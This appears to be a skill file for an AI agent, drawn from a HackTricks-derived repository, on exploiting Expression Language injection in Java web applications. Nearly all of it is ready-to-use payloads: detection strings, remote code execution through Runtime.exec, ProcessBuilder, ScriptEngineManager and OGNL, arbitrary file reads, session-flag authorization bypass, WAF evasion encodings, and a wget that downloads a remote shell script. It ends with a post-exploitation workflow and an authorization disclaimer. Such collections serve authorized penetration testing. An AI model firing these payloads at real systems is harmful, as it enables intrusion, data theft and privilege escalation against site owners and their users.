Hacktricks-skills el-injection

Expression Language (EL) injection exploitation for Java applications. Use this skill whenever you need to detect, test, or exploit EL injection vulnerabilities in JavaEE applications, Spring Framework, JSP, JSF, or any Java-based web application. Trigger this skill for EL injection payloads, detection techniques, RCE exploitation, WAF bypass, or when analyzing Java template injection vulnerabilities.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/pentesting-web/ssti-server-side-template-injection/el-expression-language/SKILL.MD
source content

EL Injection Exploitation

Expression Language (EL) injection is a critical vulnerability in Java applications that allows attackers to execute arbitrary code by injecting malicious expressions into template engines.

When to Use This Skill

  • Testing Java web applications for EL injection vulnerabilities
  • Analyzing JSP, JSF, or Spring-based applications
  • Exploiting template injection in Java environments
  • Bypassing WAFs for EL injection payloads
  • Conducting authorized penetration testing on Java applications

Detection Methods

1. Basic Detection Payloads

Test for EL injection with these payloads:

# String operation test
${"zkz".toString().replace("k", "x")}
# Expected: zxz (if vulnerable)

# Simple math evaluation
${7*7}
# Expected: 49

# Class access test
${"".getClass()}
# Expected: class java.lang.String

2. Blind Detection (Time-Based)

# Sleep for 10 seconds
${"".getClass().forName("java.lang.Thread").sleep(10000)}

# OGNL sleep variant
${#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#kzxs=@java.lang.Thread@sleep(10000),1?#xx:#request.toString}

3. Burp Detection Pattern

# Inject in parameter value
gk6q${"zkz".toString().replace("k", "x")}doap2
# If response shows "gk6qzxzdoap2", injection is confirmed

Exploitation Payloads

Basic Operations

# String manipulation
${"a".toString()}
${"dfd".replace("d","x")}

# Class access
${"".getClass()}
${"".getClass().forName("java.util.Date")}

# List class methods
${"".getClass().forName("java.util.Date").getMethods()[0].toString()}

Remote Code Execution (RCE)

Method 1: Runtime.exec()

# Basic RCE
${"".getClass().forName("java.lang.Runtime").getRuntime().exec("curl http://127.0.0.1:8000")}

# With command output capture
${"".getClass().forName("java.lang.Runtime").getRuntime().exec("whoami")}

Method 2: ProcessBuilder

# ProcessBuilder RCE
${"".class.forName("java.lang.ProcessBuilder").getDeclaredConstructors()[1].newInstance(<COMMAND ARRAY>).start()}

# Full ProcessBuilder example
${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())}
${request.getAttribute("c").add("cmd.exe")}
${request.getAttribute("c").add("/k")}
${request.getAttribute("c").add("ping x.x.x.x")}
${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())}

Method 3: ScriptEngineManager

# JavaScript engine RCE
${"a".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("var x=new java.lang.ProcessBuilder; x.command(\"whoami\"); x.start()")}

# Alternative with facesContext
${facesContext.getExternalContext().setResponseHeader("output","".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("var x=new java.lang.ProcessBuilder;x.command(\"wget\",\"http://x.x.x.x/1.sh\");")}

Method 4: OGNL-based RCE

# Linux RCE via OGNL
${#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#wwww=@java.lang.Runtime@getRuntime(),#ssss=new java.lang.String[3],#ssss[0]="/bin/sh",#ssss[1]="-c",#ssss[2]=#parameters.INJPARAM[0],#wwww.exec(#ssss),1?#xx:#request.toString}

# Windows RCE via OGNL
${#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#wwww=@java.lang.Runtime@getRuntime(),#ssss=new java.lang.String[3],#ssss[0]="cmd",#ssss[1]="/C",#ssss[2]=#parameters.INJPARAM[0],#wwww.exec(#ssss),1?#xx:#request.toString}

File Operations

Remote File Inclusion

${#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#wwww=new java.io.File(#parameters.INJPARAM[0]),#pppp=new java.io.FileInputStream(#wwww),#qqqq=new java.lang.Long(#wwww.length()),#tttt=new byte[#qqqq.intValue()],#llll=#pppp.read(#tttt),#pppp.close(),#kzxs=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#kzxs.print(new java.lang.String(#tttt)),#kzxs.close(),1?#xx:#request.toString}

Directory Listing

${#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#wwww=new java.io.File(#parameters.INJPARAM[0]),#pppp=#wwww.listFiles(),#qqqq=@java.util.Arrays@toString(#pppp),#kzxs=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#kzxs.print(#qqqq),#kzxs.close(),1?#xx:#request.toString}

Environment Inspection

# Access application scope
${applicationScope.toString()}

# Access request scope
${requestScope.toString()}

# Access session scope
${sessionScope.toString()}

# Access init parameters
${initParam.toString()}

# Access HTTP parameters
${param.X}  # Replace X with parameter name

# Access custom variables
${user}
${password}
${employee.FirstName}

Authorization Bypass

# Set admin flag in session
${pageContext.request.getSession().setAttribute("admin", true)}

# Alternative session manipulation
${session.setAttribute("admin", true)}

WAF Bypass Techniques

1. Character Encoding

# URL encoding
${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS}

# HTML entities
${&#36;"".getClass()}

2. Alternative Syntax

# Bypass getClass restriction
#{""["class"]}
#{""["class"].forName("java.lang.Runtime")}

# Using session storage
#{session.setAttribute("rtc","".getClass().forName("java.lang.Runtime").getDeclaredConstructors()[0])}
#{session.getAttribute("rtc").setAccessible(true)}
#{session.getAttribute("rtc").getRuntime().exec("/bin/bash -c whoami")}

3. Spring Expression Language (SpEL) Variants

# T() function for static method calls
T(java.lang.Runtime).getRuntime().exec('ping my-domain.com')

# StreamUtils for output capture
T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec("cmd /c dir").getInputStream(),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream())

# Environment variable access
T(java.lang.System).getenv()[0]

Testing Workflow

Step 1: Identify Potential Injection Points

Look for:

  • .jsp
    or
    .jsf
    file extensions
  • "Servlet" in response headers
  • Stack traces mentioning EL or template engines
  • User input reflected in responses
  • Parameters that might be evaluated as expressions

Step 2: Run Detection Tests

  1. Start with basic payloads to confirm vulnerability
  2. Test blind detection if no output is visible
  3. Verify the EL version and available features

Step 3: Escalate to RCE

  1. Use Runtime.exec() for basic command execution
  2. Try ProcessBuilder for more complex commands
  3. Use ScriptEngineManager for JavaScript-based payloads
  4. Capture output using IOUtils or StreamUtils

Step 4: Post-Exploitation

  1. Inspect environment variables and scopes
  2. Access sensitive data from session/request
  3. Bypass authorization if needed
  4. Maintain access through file operations

Safety and Legal Considerations

⚠️ IMPORTANT: Only use these techniques on systems you have explicit authorization to test. Unauthorized exploitation of vulnerabilities is illegal.

  • Always obtain written permission before testing
  • Document all findings for the client
  • Use these payloads in controlled environments
  • Report vulnerabilities responsibly

References